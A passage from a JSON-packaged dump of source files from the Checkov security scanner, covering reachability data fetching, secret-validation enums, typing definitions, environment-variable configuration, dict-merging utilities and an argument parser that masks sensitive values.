\"hawk\", \"extend\", \"@hapi/hoek\", \"@hapi/cryptiles\",\n                     \"casperjs\", \"marked\", \"karma\", \"swig-templates\", \"bson\", \"word-wrap\", \"fresh\", \"pug\", \"dicer\"}\n\n\nclass SastReachabilityDataFetcher:\n    def __init__(self) -> None:\n        self.alias_mapping_creator = AliasMappingCreator()\n        self.reachability_run_config_raw: Union[Dict[str, Any], None] = None\n        self.reachability_run_config: Union[ReachabilityRunConfig, None] = None\n\n    def fetch(self, repository_name: str, repository_root_dir: str) -> Union[ReachabilityData, None]:\n        self.reachability_run_config_raw = bc_integration.get_reachability_run_config()\n\n        if not self.reachability_run_config_raw:\n            logging.error('reachability_run_config is null, unable to proceed', exc_info=True)\n            return None\n\n        try:\n            self.reachability_run_config = ReachabilityRunConfig(packageNamesForMapping=RELEVANT_PACKAGES)\n        except ValidationError:\n            logging.error('Unable to serialize reachability run_config', exc_info=True)\n            return None\n\n        try:\n            result = ReachabilityData(\n                aliasMapping=self._fetch_alias_mapping(repository_name=repository_name,\n                                                       repository_root_dir=repository_root_dir,\n                                                       relevant_packages=self.reachability_run_config.packageNamesForMapping)\n            )\n        except ValidationError:\n            logging.error('Unable to serialize reachability data', exc_info=True)\n            return None\n\n        return result\n\n    def _fetch_alias_mapping(self, repository_name: str, repository_root_dir: str, relevant_packages: Set[str]) -> Dict[str, Any]:\n        self.alias_mapping_creator.update_alias_mapping_for_repository(\n            repository_name=repository_name,\n            repository_root_dir=repository_root_dir,\n            relevant_packages=relevant_packages\n        )\n        res: Dict[str, Any] = self.alias_mapping_creator.get_alias_mapping()\n        asyncio.run(bc_integration.persist_reachability_alias_mapping(res))\n        return res\n"
  },
  {
    "path": "checkov/common/sca/reachability/sast_contract/models.py",
    "content": "from typing import Dict, Any, Set\n\nfrom pydantic import BaseModel\n\n\nclass ReachabilityData(BaseModel):\n    aliasMapping: Dict[str, Any]  # noqa: CCE003\n\n\nclass ReachabilityRunConfig(BaseModel):\n    packageNamesForMapping: Set[str]  # noqa: CCE003\n"
  },
  {
    "path": "checkov/common/secrets/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/secrets/consts.py",
    "content": "from __future__ import annotations\n\nfrom enum import Enum\n\nGIT_HISTORY_NOT_BEEN_REMOVED = \"not-removed\"\n\n\nclass ValidationStatus(Enum):\n    PRIVILEGED = \"Privileged\"\n    VALID = \"Valid\"\n    INVALID = \"Invalid\"\n    UNKNOWN = \"Unknown\"\n    UNAVAILABLE = \"Unavailable\"\n\n    def __str__(self) -> str:\n        # needed, because of a Python 3.11 change\n        return self.value\n\n\nSECRET_VALIDATION_STATUSES = {\n    ValidationStatus.VALID.value,\n    ValidationStatus.PRIVILEGED.value,\n    ValidationStatus.INVALID.value,\n    ValidationStatus.UNKNOWN.value,\n    ValidationStatus.UNAVAILABLE.value,\n}\n\n\nclass VerifySecretsResult(Enum):\n    INSUFFICIENT_PARAMS = \"INSUFFICIENT_PARAMS\"\n    FAILURE = \"FAILURE\"\n    SUCCESS = \"SUCESS\"\n\n    def __str__(self) -> str:\n        # needed, because of a Python 3.11 change\n        return self.value\n"
  },
  {
    "path": "checkov/common/typing.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING, Any, Callable, Dict, TypeVar, Set, Union, TypedDict, Tuple\nfrom typing_extensions import TypeAlias  # noqa[TC002]\n\nif TYPE_CHECKING:\n    from checkov.common.bridgecrew.severities import Severity\n    from checkov.common.checks.base_check import BaseCheck\n    from checkov.common.graph.db_connectors.db_connector import DBConnector\n    from checkov.common.models.enums import CheckResult\n    from checkov.common.runners.base_runner import BaseRunner  # noqa\n    from networkx import DiGraph\n    from rustworkx import PyDiGraph\n    from checkov.terraform.modules.module_objects import TFDefinitionKey\n\n_BaseRunner = TypeVar(\"_BaseRunner\", bound=\"BaseRunner[Any, Any, Any]\")\n\n_ScannerCallableAlias: TypeAlias = Callable[\n    [str, \"BaseCheck\", \"list[_SkippedCheck]\", \"dict[str, Any]\", str, str, \"dict[str, Any]\"], None\n]\n\n_Resource: TypeAlias = str\n_Attributes: TypeAlias = Set[str]\nResourceAttributesToOmit: TypeAlias = Dict[_Resource, _Attributes]\n_RustworkxGraph: TypeAlias = \"PyDiGraph[tuple[int, dict[str, Any]], dict[str, str | int]]\"\nLibraryGraph: TypeAlias = \"Union[DiGraph, _RustworkxGraph]\"\nLibraryGraphConnector: TypeAlias = \"Union[DBConnector[DiGraph], DBConnector[_RustworkxGraph]]\"\n# TODO Remove this type and only use TFDefinitionKey\nTFDefinitionKeyType: TypeAlias = \"Union[str, TFDefinitionKey]\"\n\n\nclass _CheckResult(TypedDict, total=False):\n    result: Union[\"CheckResult\", Tuple[\"CheckResult\", dict[str, Any]]]\n    suppress_comment: str\n    evaluated_keys: list[str]\n    results_configuration: dict[str, Any] | None\n    check: BaseCheck\n    entity: dict[str, Any]  # only exists for graph results\n\n\nclass _SkippedCheck(TypedDict, total=False):\n    bc_id: str | None\n    id: str\n    suppress_comment: str\n    line_number: int | None\n\n\nclass _ScaSuppressionsMaps(TypedDict, total=False):\n    cve_suppresion_by_cve_map: dict[str, _SuppressedCves]\n    licenses_suppressions_by_policy_and_package_map: dict[str, _SuppressedLicenses]\n\n\n# _ScaSuppressions fields are in camel case because this is the output of the server report\nclass _ScaSuppressions(TypedDict, total=False):\n    cves: _CvesSuppressions\n    licenses: _LicensesSuppressions\n\n\nclass _CvesSuppressions(TypedDict):\n    byCve: list[_SuppressedCves]\n\n\nclass _LicensesSuppressions(TypedDict):\n    byPackage: list[_SuppressedLicenses]\n\n\nclass _SuppressedCves(TypedDict):\n    reason: str\n    cveId: str\n\n\nclass _SuppressedLicenses(TypedDict):\n    reason: str\n    packageName: str\n    licensePolicy: str\n    licenses: list[str]\n\n\nclass _BaselineFinding(TypedDict):\n    resource: str\n    check_ids: list[str]\n\n\nclass _BaselineFailedChecks(TypedDict):\n    file: str\n    findings: list[_BaselineFinding]\n\n\nclass _ReducedScanReport(TypedDict):\n    checks: _ReducedScanReportCheck\n    image_cached_results: list[dict[str, Any]]\n\n\nclass _ReducedScanReportCheck(TypedDict):\n    failed_checks: list[dict[str, Any]]\n    passed_checks: list[dict[str, Any]]\n    skipped_checks: list[dict[str, Any]]\n\n\nclass _CicdDetails(TypedDict, total=False):\n    commit: str | None\n    pr: str | None\n    runId: str | None\n    scaCliScanId: str | None\n\n\nclass _ExitCodeThresholds(TypedDict):\n    soft_fail: bool\n    soft_fail_checks: list[str]\n    soft_fail_threshold: Severity | None\n    hard_fail_checks: list[str]\n    hard_fail_threshold: Severity | None\n\n\nclass _ScaExitCodeThresholds(TypedDict):\n    LICENSES: _ExitCodeThresholds\n    VULNERABILITIES: _ExitCodeThresholds\n\n\nclass _LicenseStatus(TypedDict):\n    package_name: str\n    package_version: str\n    policy: str\n    license: str\n    status: str\n\n\nclass _LicenseStatusWithLines(_LicenseStatus):\n    lines: list[int] | None  # noqa: CCE003  # a static attribute\n\n\nclass _ImageReferencerLicenseStatus(TypedDict):\n    image_name: str\n    licenses: list[_LicenseStatus]\n\n\nclass _EntityContext(TypedDict, total=False):\n    start_line: int\n    end_line: int\n    policy: str\n    code_lines: list[tuple[int, str]]\n    skipped_checks: list[_SkippedCheck]\n    origin_relative_path: str\n"
  },
  {
    "path": "checkov/common/util/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/util/banner.py",
    "content": "# flake8: noqa\nfrom termcolor import colored\n\nfrom checkov.version import version\nfrom checkov.common.version_manager import check_for_update\nfrom checkov.common.util.env_vars_config import env_vars_config\n\ndefault_tool = \"Checkov\"\n\nbanner = r\"\"\"\n       _               _\n   ___| |__   ___  ___| | _______   __\n  / __| '_ \\ / _ \\/ __| |/ / _ \\ \\ / /\n | (__| | | |  __/ (__|   < (_) \\ V /\n  \\___|_| |_|\\___|\\___|_|\\_\\___/ \\_/\n\nBy Prisma Cloud | version: {} \"\"\".format(version)\n\nnew_version = check_for_update(\"checkov\", version, env_vars_config.SKIP_PACKAGE_UPDATE_CHECK)\nif new_version:\n    banner = (\n        \"\\n\"\n        + banner\n        + \"\\nUpdate available \"\n        + colored(version, \"grey\")\n        + \" -> \"\n        + colored(new_version, \"green\")\n        + \"\\nRun \"\n        + colored(\"pip3 install -U checkov\", \"magenta\")\n        + \" to update \\n\"\n    )\n"
  },
  {
    "path": "checkov/common/util/config_utils.py",
    "content": "from __future__ import annotations\n\nimport os\n\nfrom pathlib import Path\n\n\ndef config_file_paths(dir_path: str | Path) -> list[str]:\n    return [os.path.join(dir_path, '.checkov.yaml'), os.path.join(dir_path, '.checkov.yml')]\n\n\ndef get_default_config_paths(argv: list[str]) -> list[str]:\n    \"\"\"\n    Checkov looks for .checkov.yml or .checkov.yaml file in the directory (--directory) against which it is run.\n    If that does not have the config file, the current working directory is checked followed by checking the user's\n    home directory is searched.\n    :param argv: List of CLI args from sys.argv.\n    :return: List of default config file paths.\n    \"\"\"\n    home_paths = config_file_paths(Path.home())\n    cwd_path = config_file_paths(Path.cwd())\n    dir_paths = []\n    for i, v in enumerate(argv):\n        if v in ('-d', '--directory'):\n            dir_paths += config_file_paths(argv[i + 1])\n    return dir_paths + cwd_path + home_paths\n"
  },
  {
    "path": "checkov/common/util/consts.py",
    "content": "import os\n\nDEFAULT_EXTERNAL_MODULES_DIR = \".external_modules\"\nRESOLVED_MODULE_ENTRY_NAME = \"__resolved__\"\nSTART_LINE = '__startline__'\nEND_LINE = '__endline__'\nFILE = '__file__'\nLINE_FIELD_NAMES = {START_LINE, END_LINE, FILE}\nTRUE_AFTER_UNKNOWN = 'true_after_unknown'\n\nDEV_API_GET_HEADERS = {\n    'Accept': 'application/json'\n}\n\nDEV_API_POST_HEADERS = {\n    'Accept': 'application/json',\n    'Content-Type': 'application/json'\n}\n\nPRISMA_API_GET_HEADERS = {\n    'Accept': 'application/json; charset=UTF-8'\n}\n\nPARSE_ERROR_FAIL_FLAG = 'CKV_PARSE_ERROR_FAIL'\n\nPRISMA_PLATFORM = 'Prisma Cloud Code Security'\nBRIDGECREW_PLATFORM = 'Bridgecrew'\n\nMAX_IAC_FILE_SIZE = int(os.getenv('CHECKOV_MAX_IAC_FILE_SIZE', '50_000_000'))  # 50 MB is default limit\n\nRESOURCE_ATTRIBUTES_TO_OMIT_UNIVERSAL_MASK = '*'\n\nS3_UPLOAD_DETAILS_MESSAGE = 'An error occurred uploading results to the platform. A details URL is not available for this run. ' \\\n                            'See the error log output and enable debug logs for more information.'\n"
  },
  {
    "path": "checkov/common/util/contextmanagers.py",
    "content": "import os\nfrom contextlib import contextmanager\nfrom typing import Any, Generator\n\n\n@contextmanager\ndef temp_environ(**kwargs: Any) -> Generator[None, None, None]:\n    \"\"\"Temporarily set environment variables and restores previous values\n\n    copy of https://gist.github.com/igniteflow/7267431?permalink_comment_id=2553451#gistcomment-2553451\n    \"\"\"\n    original_env = {key: os.getenv(key) for key in kwargs}\n    os.environ.update(kwargs)\n    try:\n        yield\n    finally:\n        for key, value in original_env.items():\n            if value is None:\n                del os.environ[key]\n            else:\n                os.environ[key] = value\n"
  },
  {
    "path": "checkov/common/util/data_structures_utils.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport pickle  # nosec\nfrom typing import Any, TypeVar, cast\n\n_T = TypeVar(\"_T\")\n\n\ndef get_inner_dict(source_dict: dict[str, Any], path_as_list: list[str]) -> dict[str, Any]:\n    result = source_dict\n    for index in path_as_list:\n        try:\n            result = result[index]\n        except KeyError:\n            # for getting the source context for resources with for_each name - index can be \"resource_name[0]\"\n            for k in result:\n                if index.startswith(k):\n                    result = result[k]\n    return result\n\n\ndef merge_dicts(*dicts: dict[_T, Any]) -> dict[_T, Any]:\n    \"\"\"\n    Merges two or more dicts. If there are duplicate keys, later dict arguments take precedence.\n\n    Null, empty, or non-dict arguments are qiuetly skipped.\n    :param dicts:\n    :return:\n    \"\"\"\n    res: dict[Any, Any] = {}\n    for d in dicts:\n        if not d or not isinstance(d, dict):\n            continue\n        res = {**res, **d}\n    return res\n\n\ndef search_deep_keys(\n    search_text: str, obj: dict[str, Any] | list[dict[str, Any]] | None, path: list[int | str]\n) -> list[list[int | str]]:\n    \"\"\"Search deep for keys and get their values\"\"\"\n    keys: list[list[int | str]] = []\n    if isinstance(obj, dict):\n        for key in obj:\n            pathprop = path[:]\n            pathprop.append(key)\n            if key == search_text:\n                pathprop.append(obj[key])\n                keys.append(pathprop)\n                # pop the last element off for nesting of found elements for\n                # dict and list checks\n                pathprop = pathprop[:-1]\n            if isinstance(obj[key], dict):\n                if key != 'parent_metadata':\n                    # Don't go back to the parent metadata, it is scanned for the parent\n                    keys.extend(search_deep_keys(search_text, obj[key], pathprop))\n            elif isinstance(obj[key], list):\n                for index, item in enumerate(obj[key]):\n                    pathproparr = pathprop[:]\n                    pathproparr.append(index)\n                    keys.extend(search_deep_keys(search_text, item, pathproparr))\n    elif isinstance(obj, list):\n        for index, item in enumerate(obj):\n            pathprop = path[:]\n            pathprop.append(index)\n            keys.extend(search_deep_keys(search_text, item, pathprop))\n\n    return keys\n\n\ndef find_in_dict(input_dict: dict[str, Any], key_path: str) -> Any:\n    \"\"\"Tries to retrieve the value under the given 'key_path', otherwise returns None.\"\"\"\n\n    value: Any = input_dict\n    key_list = key_path.split(\"/\")\n\n    try:\n        for key in key_list:\n            if key.startswith(\"[\") and key.endswith(\"]\"):\n                if isinstance(value, list):\n                    idx = int(key[1:-1])\n                    value = value[idx]\n                    continue\n                else:\n                    return None\n\n            value = value.get(key)\n            if value is None:\n                return None\n    except (AttributeError, IndexError, KeyError, TypeError, ValueError):\n        logging.debug(f\"Could not find {key_path} in dict\")\n        return None\n\n    return value\n\n\ndef pickle_deepcopy(obj: _T) -> _T:\n    \"\"\"More performant version of the built-in deepcopy\"\"\"\n\n    return cast(\"_T\", pickle.loads(pickle.dumps(obj, pickle.HIGHEST_PROTOCOL)))  # nosec\n\n\ndef get_empty_list_str() -> list[str]:\n    \"\"\"Returns an empty list with type 'list[str]'\n\n    This is needed for using empty lists with a list union type hint\n    ex.\n        foo: list[str] | list[int] = []\n\n    more info can be found here https://github.com/python/mypy/issues/6463\n    \"\"\"\n\n    return []\n"
  },
  {
    "path": "checkov/common/util/decorators.py",
    "content": "from __future__ import annotations\n\nfrom datetime import timedelta\nimport logging\nfrom functools import wraps\nfrom timeit import default_timer\nfrom typing import TypeVar, Callable\n\nfrom typing_extensions import ParamSpec\n\nT = TypeVar(\"T\")\nP = ParamSpec(\"P\")\n\n\ndef time_it(func: Callable[P, T]) -> Callable[P, T]:\n    \"\"\"Prints the time it took to execute the function\"\"\"\n\n    @wraps(func)\n    def wrapper(*args: P.args, **kwargs: P.kwargs) -> T:\n        start = default_timer()\n        output = func(*args, **kwargs)\n        end = default_timer()\n\n        func_path = f\"{func.__code__.co_filename.replace('.py', '')}.{func.__name__}\"\n        logging.info(f\"'{func_path}' took: {timedelta(seconds=end - start)}\\n\")\n\n        return output\n    return wrapper\n"
  },
  {
    "path": "checkov/common/util/deep_merge.py",
    "content": "\"\"\"Original code: https://github.com/halfak/deep_merge\"\"\"\nfrom __future__ import annotations\n\nfrom typing import Any, TypeVar, Callable, Protocol\n\nfrom typing_extensions import TypeAlias  # noqa[TC002]\n\nfrom checkov.common.util.data_structures_utils import pickle_deepcopy\n\n_T = TypeVar(\"_T\")\n_MergeDict = TypeVar(\"_MergeDict\", bound=\"dict[Any, Any]\")\n_OverwriteFunc: TypeAlias = \"Callable[..., Any]\"\n\n\nclass _MergeDictsFunc(Protocol):\n    def __call__(\n        self,\n        d1: _MergeDict,\n        d2: _MergeDict,\n        *,\n        merge_lists: _OverwriteFunc,\n        merge_ints: _OverwriteFunc,\n        merge_floats: _OverwriteFunc,\n        merge_strings: _OverwriteFunc,\n        merge_other: _OverwriteFunc,\n    ) -> _MergeDict:\n        ...\n\n\ndef overwrite(v1: _T, v2: _T, **kwargs: Any) -> _T:\n    \"\"\"\n    Completely overwrites one value with another.\n    \"\"\"\n    return pickle_deepcopy(v2)\n\n\ndef merge_dicts(\n    d1: _MergeDict,\n    d2: _MergeDict,\n    merge_lists: _OverwriteFunc = overwrite,\n    merge_ints: _OverwriteFunc = overwrite,\n    merge_floats: _OverwriteFunc = overwrite,\n    merge_strings: _OverwriteFunc = overwrite,\n    merge_other: _OverwriteFunc = overwrite,\n) -> _MergeDict:\n    \"\"\"\n    Recursively merges values from d2 into d1.\n    \"\"\"\n    kwargs = {\n        \"merge_lists\": merge_lists,\n        \"merge_ints\": merge_ints,\n        \"merge_floats\": merge_floats,\n        \"merge_strings\": merge_strings,\n        \"merge_other\": merge_other,\n    }\n    for key in d2:\n        if key in d1:\n            if isinstance(d1[key], dict) and isinstance(d2[key], dict):\n                d1[key] = merge_dicts(d1[key], d2[key], **kwargs)\n            elif isinstance(d1[key], list) and isinstance(d2[key], list):\n                d1[key] = merge_lists(d1[key], d2[key], **kwargs)\n            elif isinstance(d1[key], int) and isinstance(d2[key], int):\n                d1[key] = merge_ints(d1[key], d2[key], **kwargs)\n            elif isinstance(d1[key], float) and isinstance(d2[key], float):\n                d1[key] = merge_ints(d1[key], d2[key], **kwargs)\n            elif isinstance(d1[key], str) and isinstance(d2[key], str):\n                d1[key] = merge_strings(d1[key], d2[key], **kwargs)\n            else:\n                d1[key] = merge_other(d1[key], d2[key], **kwargs)\n        else:\n            d1[key] = overwrite(None, d2[key])\n\n    return d1\n\n\ndef pickle_deep_merge(\n    *dicts: _MergeDict,\n    merge_dicts: _MergeDictsFunc = merge_dicts,\n    merge_lists: _OverwriteFunc = overwrite,\n    merge_ints: _OverwriteFunc = overwrite,\n    merge_floats: _OverwriteFunc = overwrite,\n    merge_strings: _OverwriteFunc = overwrite,\n    merge_other: _OverwriteFunc = overwrite,\n) -> _MergeDict:\n    \"\"\"\n    Recursively merges dictionaries and the datastructures they contain.\n\n    :Parameters:\n        *dicts : `dict`\n            Dictionaries to be merged.  Items that appear last will take higher\n            precedence when merging.\n        merge_dicts : `func`\n            The function to apply when merging dictionaries.\n        merge_lists : `func`\n            The function to apply when merging lists.\n        merge_ints : `func`\n            The function to apply when merging integers.\n        merge_floats : `func`\n            The function to apply when merging floats.\n        merge_strings : `func`\n            The function to apply when merging strings.\n        merge_other : `func`\n            The function to apply when merging other types or types that do not\n            match.\n    \"\"\"\n    for param in dicts:\n        if not isinstance(param, dict):\n            raise TypeError(\"{0} is not a dict\".format(param))\n\n    d = dicts[0]\n    for d_update in dicts[1:]:\n        d = merge_dicts(\n            d,\n            d_update,\n            merge_lists=merge_lists,\n            merge_ints=merge_ints,\n            merge_floats=merge_floats,\n            merge_strings=merge_strings,\n            merge_other=merge_other,\n        )\n\n    return d\n"
  },
  {
    "path": "checkov/common/util/dockerfile.py",
    "content": "import re\n\nDOCKERFILE_MASK = re.compile(r\"^(?:.+\\.)?[Dd]ockerfile(?:\\..+)?$(?<!\\.[Dd]ockerignore)\")\n\n\ndef is_dockerfile(file: str) -> bool:\n    if \"ockerfile\" not in file:\n        # no need to check the full regex, if 'ockerfile' couldn't be found\n        return False\n    return re.fullmatch(DOCKERFILE_MASK, file) is not None\n"
  },
  {
    "path": "checkov/common/util/env_vars_config.py",
    "content": "import os\nimport tempfile\nfrom pathlib import Path\n\nfrom checkov.common.models.enums import CheckFailLevel\nfrom checkov.common.util.consts import DEFAULT_EXTERNAL_MODULES_DIR\nfrom checkov.common.util.http_utils import normalize_bc_url\nfrom checkov.common.util.type_forcers import convert_str_to_bool, force_int\nfrom checkov.version import version\n\n\nclass EnvVarsConfig:\n    def __init__(self) -> None:\n        self.BC_API_URL = normalize_bc_url(os.getenv(\"BC_API_URL\"))\n        self.BC_ENABLE_PERSIST_GRAPHS = convert_str_to_bool(os.getenv(\"BC_ENABLE_PERSIST_GRAPHS\", True))\n        self.BC_PERSIST_GRAPHS_TIMEOUT = force_int(os.getenv(\"BC_PERSIST_GRAPHS_TIMEOUT\", 60))\n        self.BC_ROOT_DIR = os.getenv(\"BC_ROOT_DIR\", \"\")\n        self.BC_SKIP_MAPPING = convert_str_to_bool(os.getenv(\"BC_SKIP_MAPPING\", False))\n        self.BC_SOURCE = os.getenv(\"BC_SOURCE\", \"cli\")\n        self.BC_SOURCE_VERSION = os.getenv(\"BC_SOURCE_VERSION\", version)\n        self.CACHE_DIR = convert_str_to_bool(os.getenv(\"CKV_CACHE_DIR\", str(Path(tempfile.gettempdir()) / \"cache\")))\n        self.CHECK_FAIL_LEVEL = os.getenv(\"CHECKOV_CHECK_FAIL_LEVEL\", CheckFailLevel.ERROR)\n        self.CREATE_COMPLEX_VERTICES = convert_str_to_bool(os.getenv(\"CREATE_COMPLEX_VERTICES\", True))\n        self.CHECKOV_ENABLE_DATAS_FOREACH_HANDLING = os.getenv('CHECKOV_ENABLE_DATAS_FOREACH_HANDLING', 'False')\n        self.CHECKOV_EXPERIMENTAL_TERRAFORM_MANAGED_MODULES = convert_str_to_bool(os.getenv('CHECKOV_EXPERIMENTAL_TERRAFORM_MANAGED_MODULES', False))\n        self.CREATE_EDGES = convert_str_to_bool(os.getenv(\"CREATE_EDGES\", True))\n        self.CREATE_MARKDOWN_HYPERLINKS = convert_str_to_bool(os.getenv(\"CHECKOV_CREATE_MARKDOWN_HYPERLINKS\", False))\n        self.CREATE_SCA_IMAGE_REPORTS_FOR_IR = convert_str_to_bool(\n            os.getenv(\"CHECKOV_CREATE_SCA_IMAGE_REPORTS_FOR_IR\", True)\n        )\n        # default version is set inside the relevant code\n        self.CYCLONEDX_SCHEMA_VERSION = os.getenv(\"CHECKOV_CYCLONEDX_SCHEMA_VERSION\", \"\")\n        self.DISPLAY_REGISTRY_URL = convert_str_to_bool(os.getenv(\"CHECKOV_DISPLAY_REGISTRY_URL\", False))\n        self.ENABLE_FOREACH_HANDLING = convert_str_to_bool(os.getenv(\"CHECKOV_ENABLE_FOREACH_HANDLING\", True))\n        self.ENABLE_MODULES_FOREACH_HANDLING = convert_str_to_bool(\n            os.getenv(\"CHECKOV_ENABLE_MODULES_FOREACH_HANDLING\", True)\n        )\n        self.EXPERIMENTAL_GRAPH_DEBUG = convert_str_to_bool(os.getenv(\"CHECKOV_EXPERIMENTAL_GRAPH_DEBUG\", False))\n        self.EXPIRATION_TIME_IN_SEC = force_int(os.getenv(\"CHECKOV_EXPIRATION_TIME_IN_SEC\", 604800))\n        self.GITHUB_CONF_DIR_NAME = os.getenv(\"CKV_GITHUB_CONF_DIR_NAME\", \"github_conf\")\n        self.GITHUB_CONFIG_FETCH_DATA = convert_str_to_bool(os.getenv(\"CKV_GITHUB_CONFIG_FETCH_DATA\", True))\n        self.GITLAB_CONF_DIR_NAME = os.getenv(\"CKV_GITLAB_CONF_DIR_NAME\", \"gitlab_conf\")\n        self.GITLAB_CONFIG_FETCH_DATA = convert_str_to_bool(os.getenv(\"CKV_GITLAB_CONFIG_FETCH_DATA\", True))\n        self.GRAPH_FRAMEWORK = os.getenv(\"CHECKOV_GRAPH_FRAMEWORK\", \"RUSTWORKX\")\n        self.IGNORED_DIRECTORIES = os.getenv(\"CKV_IGNORED_DIRECTORIES\", \"node_modules,.terraform,.serverless\")\n        self.IGNORE_HIDDEN_DIRECTORIES = convert_str_to_bool(os.getenv(\"CKV_IGNORE_HIDDEN_DIRECTORIES\", True))\n        self.MAX_FILE_SIZE = force_int(os.getenv(\"CHECKOV_MAX_FILE_SIZE\", 5_000_000))  # 5 MB is default limit\n        self.MAX_IAC_FILE_SIZE = force_int(os.getenv(\"CHECKOV_MAX_IAC_FILE_SIZE\", 50_000_000))  # 50 MB is default limit\n        self.NO_OUTPUT = convert_str_to_bool(os.getenv(\"CHECKOV_NO_OUTPUT\", False))\n        self.OUTPUT_CODE_LINE_LIMIT = force_int(os.getenv(\"CHECKOV_OUTPUT_CODE_LINE_LIMIT\", 50))\n        self.PARSE_ERROR_FAIL = convert_str_to_bool(os.getenv(\"CKV_PARSE_ERROR_FAIL\", False))\n        self.RENDER_ASYNC_MAX_WORKERS = force_int(os.getenv(\"RENDER_ASYNC_MAX_WORKERS\", 50))\n        self.RENDER_EDGES_DUPLICATE_ITER_COUNT = force_int(os.getenv(\"RENDER_EDGES_DUPLICATE_ITER_COUNT\", 4))\n        self.RENDER_EDGES_DUPLICATE_PERCENT = force_int(os.getenv(\"RENDER_EDGES_DUPLICATE_PERCENT\", 90))\n        self.RENDER_MAX_LEN = force_int(os.getenv(\"CHECKOV_RENDER_MAX_LEN\", 10000))\n        self.RENDER_VARIABLES_ASYNC = convert_str_to_bool(os.getenv(\"RENDER_VARIABLES_ASYNC\", False))\n        self.RUN_IN_DOCKER = convert_str_to_bool(os.getenv(\"RUN_IN_DOCKER\", False))\n        self.REQUEST_MAX_TRIES = force_int(os.getenv(\"REQUEST_MAX_TRIES\", 3))\n        self.RUN_SECRETS_MULTIPROCESS = convert_str_to_bool(os.getenv(\"RUN_SECRETS_MULTIPROCESS\", False))\n        self.SLEEP_BETWEEN_REQUEST_TRIES = force_int(os.getenv(\"SLEEP_BETWEEN_REQUEST_TRIES\", 1))\n        self.SLS_FILE_MASK = os.getenv(\"CKV_SLS_FILE_MASK\", \"serverless.yml,serverless.yaml\").split(\",\")\n        self.VALIDATE_SECRETS = convert_str_to_bool(os.getenv(\"CKV_VALIDATE_SECRETS\", False))\n        self.WORKDIR = os.getenv(\"WORKDIR\", \"\")\n\n        # possibly not used anymore 'checkov/terraform/graph_builder/utils.generate_possible_strings_from_wildcards()'\n        self.MAX_WILDCARD_ARR_SIZE = force_int(os.getenv(\"MAX_WILDCARD_ARR_SIZE\", 10))\n        # is also defined as a flag, need to remove env var references in code\n        self.EXTERNAL_MODULES_DIR = os.getenv(\"EXTERNAL_MODULES_DIR\", DEFAULT_EXTERNAL_MODULES_DIR)\n        # is also defined as a flag, need to remove env var references in code\n        self.BC_CA_BUNDLE = os.getenv(\"BC_CA_BUNDLE\")\n        # is also defined as a flag, need to remove env var references in code\n        self.PRISMA_API_URL = os.getenv(\"PRISMA_API_URL\", \"https://api0.prismacloud.io\")\n        # need to fix usage, because the env var value is set inside the code\n        self.GITHUB_CONF_DIR_PATH = os.getenv(\"CKV_GITHUB_CONF_DIR_PATH\")\n        self.ENABLE_DEFINITION_KEY = os.getenv(\"ENABLE_DEFINITION_KEY\", False)\n        self.SKIP_PACKAGE_UPDATE_CHECK = convert_str_to_bool(os.getenv(\"CKV_SKIP_PACKAGE_UPDATE_CHECK\", False))\n        self.CKV_SUPPORT_ALL_RESOURCE_TYPE = os.getenv('CKV_SUPPORT_ALL_RESOURCE_TYPE', False)\n        self.HCL_PARSE_TIMEOUT_SEC = force_int(os.getenv(\"HCL_PARSE_TIMEOUT_SEC\", 10))\n        self.ENABLE_DOTNET_CPM = os.getenv('ENABLE_DOTNET_CPM', False)\n        self.JAVA_FULL_DT = os.getenv('JAVA_FULL_DT', False)\n        self.PROXY_CA_PATH = os.getenv('PROXY_CA_PATH', None)\n        self.PROXY_URL = os.getenv('PROXY_URL', None)\n        self.PROXY_HEADER_VALUE = os.getenv('PROXY_HEADER_VALUE', None)\n        self.PROXY_HEADER_KEY = os.getenv('PROXY_HEADER_KEY', None)\n        self.ENABLE_CONFIG_FILE_VALIDATION = convert_str_to_bool(os.getenv(\"ENABLE_CONFIG_FILE_VALIDATION\", False))\n        self.RAW_TF_IN_GRAPH_ENV = convert_str_to_bool(os.getenv(\"RAW_TF_IN_GRAPH\", \"False\"))\n        self.HTTPS_PROXY = os.getenv('HTTPS_PROXY')\n\n\nenv_vars_config = EnvVarsConfig()\n"
  },
  {
    "path": "checkov/common/util/ext_argument_parser.py",
    "content": "from __future__ import annotations\n\nfrom io import StringIO\nfrom typing import Any, TYPE_CHECKING, cast, List\n\nimport configargparse\n\nfrom checkov.common.bridgecrew.check_type import checkov_runners\nfrom checkov.common.runners.runner_registry import OUTPUT_CHOICES, SUMMARY_POSITIONS\nfrom checkov.common.util.consts import DEFAULT_EXTERNAL_MODULES_DIR\nfrom checkov.common.util.type_forcers import convert_str_to_bool\nfrom checkov.version import version\n\nif TYPE_CHECKING:\n    import argparse\n\n\ndef flatten_csv(list_to_flatten: List[List[str]]) -> List[str]:\n    \"\"\"\n    Flattens a list of list of strings into a list of strings, while also splitting out comma-separated values\n    Duplicates will be removed.\n    [['terraform', 'arm'], ['bicep,cloudformation,arm']] -> ['terraform', 'arm', 'bicep', 'cloudformation']\n    (Order is not guaranteed)\n    \"\"\"\n    if not list_to_flatten:\n        return []\n    return list({s for sublist in list_to_flatten for val in sublist for s in val.split(',')})\n\n\nclass ExtArgumentParser(configargparse.ArgumentParser):\n    def __init__(self, *args: Any, **kwargs: Any) -> None:\n        super().__init__(*args, **kwargs)\n        self.fields_to_sanitize: set[Any] = set()\n\n    def add(self, *args: Any, **kwargs: Any) -> None:\n        if kwargs.pop(\"sanitize\", False):\n            self.fields_to_sanitize.add(args[0])\n        super().add(*args, **kwargs)\n\n    def format_values(self, sanitize: bool = False) -> str:\n        if not sanitize:\n            return cast(str, super().format_values())\n\n        source_key_to_display_value_map = {\n            configargparse._COMMAND_LINE_SOURCE_KEY: \"Command Line Args: \",\n            configargparse._ENV_VAR_SOURCE_KEY: \"Environment Variables:\\n\",\n            configargparse._CONFIG_FILE_SOURCE_KEY: \"Config File (%s):\\n\",\n            configargparse._DEFAULTS_SOURCE_KEY: \"Defaults:\\n\",\n        }\n\n        r = StringIO()\n        for source, settings in self._source_to_settings.items():\n            source = source.split(\"|\")\n            source = source_key_to_display_value_map[source[0]] % tuple(source[1:])\n            r.write(source)\n            for key, (action, value) in settings.items():\n                if key:\n                    if key in self.fields_to_sanitize or action.option_strings[0] in self.fields_to_sanitize:\n                        value = \"****\"\n                    